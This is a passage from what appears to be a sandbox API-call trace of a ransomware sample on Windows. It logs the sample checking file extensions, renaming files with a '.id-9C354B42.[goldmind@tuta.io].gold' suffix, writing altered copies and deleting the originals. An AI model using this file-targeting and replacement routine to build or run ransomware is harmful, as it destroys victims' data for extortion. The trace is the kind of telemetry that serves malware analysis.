lpFileSize=0x302ff1c*=6331392) returned 1 [0049.826] CloseHandle (hObject=0x188) returned 1 [0049.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0x20 [0049.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.826] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0049.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll") returned 60 [0049.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll") returned 60 [0049.826] lstrlenW (lpString=".doc") returned 4 [0049.826] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0049.826] lstrlenW (lpString=".docx") returned 5 [0049.826] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0049.826] lstrlenW (lpString=".pdf") returned 4 [0049.826] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0049.826] lstrlenW (lpString=".xls") returned 4 [0049.826] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0049.826] lstrlenW (lpString=".xlsx") returned 5 [0049.826] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0049.826] lstrlenW (lpString=".ppt") returned 4 [0049.826] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0049.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll") returned 60 [0049.826] lstrlenW (lpString=".zip") returned 4 [0049.826] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0049.826] lstrlenW (lpString=".rar") returned 4 [0049.826] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0049.826] lstrlenW (lpString=".bz2") returned 4 [0049.826] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0049.826] lstrlenW (lpString=".7z") returned 3 [0049.826] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0049.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll") returned 60 [0049.826] lstrlenW (lpString=".dbf") returned 4 [0049.826] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0049.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll") returned 60 [0049.826] lstrlenW (lpString=".1cd") returned 4 [0049.826] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0049.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll") returned 60 [0049.826] lstrlenW (lpString=".jpg") returned 4 [0049.826] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0049.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll") returned 60 [0049.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll") returned 60 [0049.826] lstrlenW (lpString=".doc") returned 4 [0049.827] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0049.827] lstrlenW (lpString=".docx") returned 5 [0049.827] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0049.827] lstrlenW (lpString=".pdf") returned 4 [0049.827] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0049.827] lstrlenW (lpString=".xls") returned 4 [0049.827] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0049.827] lstrlenW (lpString=".xlsx") returned 5 [0049.827] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0049.827] lstrlenW (lpString=".ppt") returned 4 [0049.827] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0049.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll") returned 60 [0049.827] lstrlenW (lpString=".zip") returned 4 [0049.827] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0049.827] lstrlenW (lpString=".rar") returned 4 [0049.827] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0049.827] lstrlenW (lpString=".bz2") returned 4 [0049.827] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0049.827] lstrlenW (lpString=".7z") returned 3 [0049.827] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0049.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll") returned 60 [0049.827] lstrlenW (lpString=".dbf") returned 4 [0049.827] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0049.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll") returned 60 [0049.827] lstrlenW (lpString=".1cd") returned 4 [0049.827] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0049.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll") returned 60 [0049.827] lstrlenW (lpString=".jpg") returned 4 [0049.827] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0049.827] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0049.827] lstrlenW (lpString="mshwgst.dll") returned 11 [0049.827] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.827] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=49664) returned 1 [0049.827] CloseHandle (hObject=0x188) returned 1 [0049.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll")) returned 0x20 [0049.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll") returned 62 [0049.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll") returned 62 [0049.829] lstrlenW (lpString=".doc") returned 4 [0049.829] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0049.829] lstrlenW (lpString=".docx") returned 5 [0049.829] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0049.829] lstrlenW (lpString=".pdf") returned 4 [0049.829] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0049.829] lstrlenW (lpString=".xls") returned 4 [0049.829] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0049.829] lstrlenW (lpString=".xlsx") returned 5 [0049.829] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0049.829] lstrlenW (lpString=".ppt") returned 4 [0049.829] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0049.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll") returned 62 [0049.829] lstrlenW (lpString=".zip") returned 4 [0049.829] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0049.829] lstrlenW (lpString=".rar") returned 4 [0049.829] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0049.829] lstrlenW (lpString=".bz2") returned 4 [0049.829] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0049.829] lstrlenW (lpString=".7z") returned 3 [0049.829] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0049.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll") returned 62 [0049.829] lstrlenW (lpString=".dbf") returned 4 [0049.829] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0049.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll") returned 62 [0049.829] lstrlenW (lpString=".1cd") returned 4 [0049.829] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0049.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll") returned 62 [0049.829] lstrlenW (lpString=".jpg") returned 4 [0049.829] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0049.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll") returned 62 [0049.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll") returned 62 [0049.830] lstrlenW (lpString=".doc") returned 4 [0049.830] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0049.830] lstrlenW (lpString=".docx") returned 5 [0049.830] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0049.830] lstrlenW (lpString=".pdf") returned 4 [0049.830] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0049.830] lstrlenW (lpString=".xls") returned 4 [0049.830] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0049.830] lstrlenW (lpString=".xlsx") returned 5 [0049.830] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0049.830] lstrlenW (lpString=".ppt") returned 4 [0049.830] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0049.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll") returned 62 [0049.830] lstrlenW (lpString=".zip") returned 4 [0049.830] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0049.830] lstrlenW (lpString=".rar") returned 4 [0049.830] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0049.830] lstrlenW (lpString=".bz2") returned 4 [0049.830] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0049.830] lstrlenW (lpString=".7z") returned 3 [0049.830] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0049.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll") returned 62 [0049.830] lstrlenW (lpString=".dbf") returned 4 [0049.830] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0049.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll") returned 62 [0049.830] lstrlenW (lpString=".1cd") returned 4 [0049.830] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0049.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll") returned 62 [0049.830] lstrlenW (lpString=".jpg") returned 4 [0049.830] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0049.830] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0049.830] lstrlenW (lpString="mshwLatin.dll") returned 13 [0049.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.831] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=1071616) returned 1 [0049.831] CloseHandle (hObject=0x188) returned 1 [0049.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll")) returned 0x20 [0049.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll") returned 64 [0049.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll") returned 64 [0049.831] lstrlenW (lpString=".doc") returned 4 [0049.831] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0049.831] lstrlenW (lpString=".docx") returned 5 [0049.831] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0049.831] lstrlenW (lpString=".pdf") returned 4 [0049.831] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0049.831] lstrlenW (lpString=".xls") returned 4 [0049.831] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0049.831] lstrlenW (lpString=".xlsx") returned 5 [0049.831] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0049.831] lstrlenW (lpString=".ppt") returned 4 [0049.831] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0049.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll") returned 64 [0049.831] lstrlenW (lpString=".zip") returned 4 [0049.831] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0049.831] lstrlenW (lpString=".rar") returned 4 [0049.831] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0049.831] lstrlenW (lpString=".bz2") returned 4 [0049.831] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0049.831] lstrlenW (lpString=".7z") returned 3 [0049.831] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0049.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll") returned 64 [0049.831] lstrlenW (lpString=".dbf") returned 4 [0049.831] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0049.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll") returned 64 [0049.831] lstrlenW (lpString=".1cd") returned 4 [0049.831] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0049.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll") returned 64 [0049.831] lstrlenW (lpString=".jpg") returned 4 [0049.831] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0049.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll") returned 64 [0049.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll") returned 64 [0049.831] lstrlenW (lpString=".doc") returned 4 [0049.831] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0049.831] lstrlenW (lpString=".docx") returned 5 [0049.832] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0049.832] lstrlenW (lpString=".pdf") returned 4 [0049.832] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0049.832] lstrlenW (lpString=".xls") returned 4 [0049.832] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0049.832] lstrlenW (lpString=".xlsx") returned 5 [0049.832] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0049.832] lstrlenW (lpString=".ppt") returned 4 [0049.832] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0049.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll") returned 64 [0049.832] lstrlenW (lpString=".zip") returned 4 [0049.832] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0049.832] lstrlenW (lpString=".rar") returned 4 [0049.832] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0049.832] lstrlenW (lpString=".bz2") returned 4 [0049.832] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0049.832] lstrlenW (lpString=".7z") returned 3 [0049.832] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0049.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll") returned 64 [0049.832] lstrlenW (lpString=".dbf") returned 4 [0049.832] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0049.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll") returned 64 [0049.832] lstrlenW (lpString=".1cd") returned 4 [0049.832] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0049.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll") returned 64 [0049.832] lstrlenW (lpString=".jpg") returned 4 [0049.832] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0049.832] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0049.832] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0049.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.832] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=3584) returned 1 [0049.832] CloseHandle (hObject=0x188) returned 1 [0049.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui")) returned 0x20 [0049.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0049.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0049.833] lstrlenW (lpString=".doc") returned 4 [0049.833] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0049.833] lstrlenW (lpString=".docx") returned 5 [0049.833] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0049.833] lstrlenW (lpString=".pdf") returned 4 [0049.833] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0049.833] lstrlenW (lpString=".xls") returned 4 [0049.833] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0049.833] lstrlenW (lpString=".xlsx") returned 5 [0049.833] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0049.833] lstrlenW (lpString=".ppt") returned 4 [0049.833] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0049.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0049.833] lstrlenW (lpString=".zip") returned 4 [0049.833] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0049.833] lstrlenW (lpString=".rar") returned 4 [0049.833] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0049.833] lstrlenW (lpString=".bz2") returned 4 [0049.833] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0049.833] lstrlenW (lpString=".7z") returned 3 [0049.833] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0049.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0049.833] lstrlenW (lpString=".dbf") returned 4 [0049.833] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0050.645] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.645] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0050.645] GetLastError () returned 0x0 [0050.645] ReadFile (in: hFile=0x19c, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0xd980, lpOverlapped=0x0) returned 1 [0050.729] WriteFile (in: hFile=0x210, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xd990, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xd990, lpOverlapped=0x0) returned 1 [0050.731] ReadFile (in: hFile=0x19c, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.731] WriteFile (in: hFile=0x210, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0050.731] SetEndOfFile (hFile=0x210) returned 1 [0050.731] CloseHandle (hObject=0x210) returned 1 [0050.731] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.731] SetEndOfFile (hFile=0x19c) returned 1 [0050.732] CloseHandle (hObject=0x19c) returned 1 [0050.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0050.732] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll")) returned 1 [0050.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0050.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0050.754] lstrlenW (lpString=".doc") returned 4 [0050.754] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0050.754] lstrlenW (lpString=".docx") returned 5 [0050.754] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0050.754] lstrlenW (lpString=".pdf") returned 4 [0050.754] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0050.754] lstrlenW (lpString=".xls") returned 4 [0050.754] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0050.754] lstrlenW (lpString=".xlsx") returned 5 [0050.754] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0050.754] lstrlenW (lpString=".ppt") returned 4 [0050.754] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0050.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0050.754] lstrlenW (lpString=".zip") returned 4 [0050.754] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0050.754] lstrlenW (lpString=".rar") returned 4 [0050.754] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0050.755] lstrlenW (lpString=".bz2") returned 4 [0050.755] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0050.755] lstrlenW (lpString=".7z") returned 3 [0050.755] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0050.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0050.755] lstrlenW (lpString=".dbf") returned 4 [0050.755] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0050.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0050.755] lstrlenW (lpString=".1cd") returned 4 [0050.755] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0050.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0050.755] lstrlenW (lpString=".jpg") returned 4 [0050.755] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0050.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0050.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0050.755] lstrlenW (lpString=".doc") returned 4 [0050.755] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0050.755] lstrlenW (lpString=".docx") returned 5 [0050.755] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0050.755] lstrlenW (lpString=".pdf") returned 4 [0050.755] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0050.755] lstrlenW (lpString=".xls") returned 4 [0050.755] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0050.755] lstrlenW (lpString=".xlsx") returned 5 [0050.755] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0050.755] lstrlenW (lpString=".ppt") returned 4 [0050.755] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0050.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0050.755] lstrlenW (lpString=".zip") returned 4 [0050.755] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0050.755] lstrlenW (lpString=".rar") returned 4 [0050.755] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0050.755] lstrlenW (lpString=".bz2") returned 4 [0050.755] lstrcmpiW (lpString1=".bz2", 